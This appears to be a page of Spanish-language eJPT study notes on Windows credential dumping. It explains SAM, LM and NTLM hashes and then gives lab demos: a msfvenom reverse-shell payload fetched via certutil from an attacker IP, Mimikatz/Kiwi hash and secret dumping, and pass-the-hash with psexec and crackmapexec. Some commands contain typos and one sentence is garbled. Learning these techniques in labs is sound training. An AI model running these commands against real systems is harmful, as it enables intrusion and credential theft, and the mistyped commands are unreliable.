eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Windows Password Hashes
  • SAM Database
  • LM (LanMan)
  • NTLM NTHash
  • Quiz
  • Searching For Passwords In Windows Configuration Files
  • Windows Configuration Files
  • Unattended Windows Setup
  • Demo: Searching For Passwords In Windows Configuration Files
  • Quiz
  • Dumping Hashes With Mimikatz
  • Mimikatz
  • Demo: Dumping Hashes With Mimikatz
  • Quiz
  • Pass-The-Hash Attacks
  • Pass-The-Hash
  • Demo: Pass-The-Hash Attacks
  • Quiz
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: System/Host Based Attacks

Windows Credential Dumping

Windows Password Hashes

El sistema operativo Windows almacena contraseñas de cuentas de usuario con hash localmente en la base de datos SAM (Security Accounts Manager - Administrador de cuentas de seguridad).

Hashing es el proceso de convertir un dato en otro valor. Se utiliza una función o algoritmo hash para generar el nuevo valor. El resultado de un algoritmo hash se conoce como hash o valor hash.

La Autoridad de Seguridad Local (Local Security Authority - LSA) facilita la autenticación y verificación de las credenciales del usuario.

Las versiones de Windows hasta Windows Server 2003 utilizan dos tipos diferentes de hashes:

  • LM

  • NTLM

Windows desactiva el hash LM y utiliza el hash NTLM desde Windows Vista en adelante.

SAM Database

SAM (Security Account Manager) es un archivo de base de datos que se encarga de administrar cuentas de usuario y contraseñas en Windows. Todas las contraseñas de cuentas de usuario almacenadas en la base de datos SAM tienen hash.

El archivo de base de datos SAM no se puede copiar mientras el sistema operativo se está ejecutando

El kernel de Windows NT mantiene bloqueado el archivo de base de datos SAM y, como resultado, los atacantes suelen utilizar técnicas y herramientas en memoria para volcar hashes SAM del proceso LSASS el mismo esta encargado de realizar el proceso de authenticacion.

En las versiones modernas de Windows, la base de datos SAM está cifrada con una clave del sistema.

Nota: Se requieren privilegios elevados/administrativos para poder acceder e interactuar con el proceso LSASS.

LM (LanMan)

LM es el algoritmo hash predeterminado que se implementó en los sistemas operativos Windows anteriores a NT4.0.

El protocolo se utiliza para codificar las contraseñas de los usuarios y el proceso de hash se puede dividir en los siguientes pasos:

  • La contraseña se divide en dos fragmentos de siete caracteres.

  • Luego, todos los caracteres se convierten a mayúsculas.

  • Luego, cada fragmento se procesa por separado con el algoritmo DES.

El hash LM generalmente se considera un protocolo débil y se puede descifrar fácilmente, principalmente porque el hash de la contraseña no incluye sales, lo que hace que los ataques de fuerza bruta y de tabla arcoíris sean efectivos contra los hashes LM.

NTLM NTHash

NTLM es una colección de protocolos de autenticación que se utilizan en Windows para facilitar la autenticación entre computadoras. El proceso de autenticación implica el uso de un nombre de usuario y contraseña válidos para autenticarse exitosamente.

Desde Windows Vista en adelante, Windows desactiva el hash LM y utiliza el hash NTLM.

Cuando se crea una cuenta de usuario, se cifra utilizando el algoritmo hash MD4, mientras que se elimina la contraseña original.

NTra LM de las siguientes maneras:

  • No divide el hash en dos trozos.

  • Distingue entre mayúsculas y minúsculas (Case sensitive).

  • Permite el uso de símbolos y caracteres Unicode.

Quiz

Searching For Passwords In Windows Configuration Files

Windows Configuration Files

Windows puede automatizar una variedad de tareas repetitivas, como la implementación masiva o la instalación de Windows en muchos sistemas.

Por lo general, esto se hace mediante el uso de la utilidad Unattended Windows Setup, que se utiliza para automatizar la instalación/implementación masiva de Windows en los sistemas.

Esta herramienta utiliza archivos de configuración que contienen configuraciones específicas y credenciales de cuenta de usuario, específicamente la contraseña de la cuenta de administrador.

Si los archivos de configuración de Unattended Windows Setup se dejan en el sistema de destino después de la instalación, pueden revelar las credenciales de la cuenta de usuario que los atacantes pueden utilizar para autenticarse legítimamente con el objetivo de Windows.

Unattended Windows Setup

La utilidad de Unattended Windows Setup normalmente utilizará uno de los siguientes archivos de configuración que contienen información de configuración del sistema y la cuenta de usuario:

  • C:\Windows\Panther\Unattend.xml

  • C:\Windows\Panther\Autounattend.xml

Como medida de seguridad, las contraseñas almacenadas en el archivo de configuración de Unattended Windows Setup pueden estar codificadas en base64.

Demo: Searching For Passwords In Windows Configuration Files

# Se debera de generar una sesion de meterpreter

# Kali
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP Hacker> -f exe > payload.exe
# Publicamos un sitio para su descarga
python -m SimpleHTTPServer 80


# Windows 7
# Con la utilidad certutil se podra descargar
certutil -urlcache -f http://<IP Hacker>/payload.exe payload.exe

# Kali
# Iniciamos MSF para configruar el payload
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 1234
set LHOST <IP Hacker>
run

# Windows 7
# Ejecutamos el payload

# Kali
sysinfo
# Ingresamos a los directorios donde se encuentra el archivo "Unattend.xml"
# realizamos una busqueda con el comando "search -f Unattend.xml" o bucamos por el path
# Descargamos el archivo una vez encontrado
download Unattend.xml

# Dentro del archivo buscar la etiqueta "AutoLogon"
# SI se identifica un valor en la tiqueta <Value>, es la contraseña en base64
# Por lo cual podra decodificar la misma

# Copiar el hash a un nuevo archivo.txt para decodificar la misma
vi password.txt
base64 -d password.txt

# Utilizar las credenciales para authenticar con psexec
psexec.py Administrator@<Target>
whoami
priv



Quiz

Dumping Hashes With Mimikatz

Mimikatz

Mimikatz es una herramienta post-explotación de Windows escrita por Benjamin Delpy (@gentilkiwi). Permite la extracción de contraseñas de texto sin cifrar, hashes y tickets Kerberos de la memoria.

La base de datos SAM (Security Account Manager) es un archivo de base de datos en sistemas Windows que almacena contraseñas de usuario con hash.

Mimikatz se puede utilizar para extraer hashes de la memoria del proceso lsass.exe donde se almacenan en caché los hashes.

Podemos utilizar el ejecutable mimikatz precompilado; alternativamente, si tenemos acceso a una sesión de meterpreter en un dispositivo Windows, podemos utilizar la extensión Kiwi incorporada de meterpreter.

Nota: Mimikatz requerirá privilegios elevados para poder ejecutarse correctamente.

Demo: Dumping Hashes With Mimikatz

# Kali
# Se identifico que el sitio utiliza badblue 2.7 y MSF tiene un exploit

search badblue
use exploi/windows/http/badblue_passthru
show options
set RHOSTS <Target>
exploit

sysinfo
# Migramos al procesos lsass
pgrep lsass
migrate <Process ID>
getuid

# Cargaremos el Modulo Kiwi
load kiwi
?

# Para volcar todas las credenciales
creds_all
# Nos dara todos los hash de las cuentas.
# Tambien te da la informacion del SysKey/SAMKey
lsa_dump_sam
# Tambien podemos volcar Secrets que puede proporcionar las credenciales en 
# Texto claro
lsa_dump_secrets

# Tambien se puede utilizar la libreria de linux

#Windows
meterpreter > pwd
meterpreter > mkdir C:\\Temp
meterpreter > cd C:\\Temp
meterpreter > Upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
meterpreter > shell
dir
.\mimikatz.exe
# Verificar si con el usuario con el cual ejecutaste tiene los privilegios suficientes
privilege::debug
# Recibir una respuesta 200 OK

#Dump
lsadump::sam
# Tambien podemos volcar Secrets que puede proporcionar las credenciales en 
# Texto claro
lsadump::secrets
# Buscar las contraseñas de inicio de sesion almacenadas
sekurlsa::logonpasswords

Quiz

Pass-The-Hash Attacks

Pass-The-Hash

Pass-the-hash es una técnica de explotación que implica capturar o recolectar hashes NTLM o contraseñas de texto sin cifrar y utilizarlos para autenticarse legítimamente con el objetivo.

Podemos utilizar múltiples herramientas para facilitar un ataque Pass-The-Hash:

  • Módulo Metasploit PsExec

  • Crackmapexec

Esta técnica nos permitirá obtener acceso al sistema de destino a través de credenciales legítimas en lugar de obtener acceso mediante la explotación del servicio.

Demo: Pass-The-Hash Attacks

# En continuacion del laboratorio anterior
lsa_dump_sam
# Nos copeamos el Has del los usuarios identificados (Hash NTLM) en un archivo
# de texto
#---------
#<Usuario>: <Hash NTLM>
#<Usuario>: <Hash NTLM>
#---------

# Uso del MODULO PSEXEC
# Para usar este modulo es necesario el hash LM
# Una forma de obtenerlo rapido es: 
hashdump
# Esta construido de la siguiente manera
# <Usuario>:< >:<Hash NL>:<Hash NTLM>:::
# Coperase el nombre de usuario y ambos HASH 

# Con MSF buscar PSEXEC
search psexec
use exploit/windows/smb/psexec
show options
# Cambiar el Puerto LPORT si es necesario para abrir una nueva sesion por
# meterpreter
set LPORT <Port>
set RHOSTS <Target>
set SMBUser <User>
set SMBPass <Hash NL>:<Hash NTLM>
exploit

# Configuracion del objetivo
set target Comand
# En caso de no funcionar
set target Native\ upload
exploit
# Verificar las sesiones abiertas
meterpreter > sysinfo
meterpreter > geuif
meterpreter > sessions
# Eliminar sesiones 
session K

exploit

# Desde una nueva terminal ejecutaremos crackmapexec 
crackmapexec smb <Target> -u Administrator -H "<Hash NTLM>"
# Esperar como resultado (Pwn3d!)
# Para ejecutar comandos atravez de esa linea agregar -x
crackmapexec smb <Target> -u Administrator -H "<Hash NTLM>" -x "ipconfig"
# Es normal si se recibe errores de python
# Debera de buscar la salida de la ejecucion del comando
# [+] Executed Command
crackmapexec smb <Target> -u Administrator -H "<Hash NTLM>" -x "whoami"
crackmapexec smb <Target> -u Administrator -H "<Hash NTLM>" -x "net user"

Quiz

PreviousWindows File System VulnerabilitiesNextLinux Vulnerabilities

Last updated 1 year ago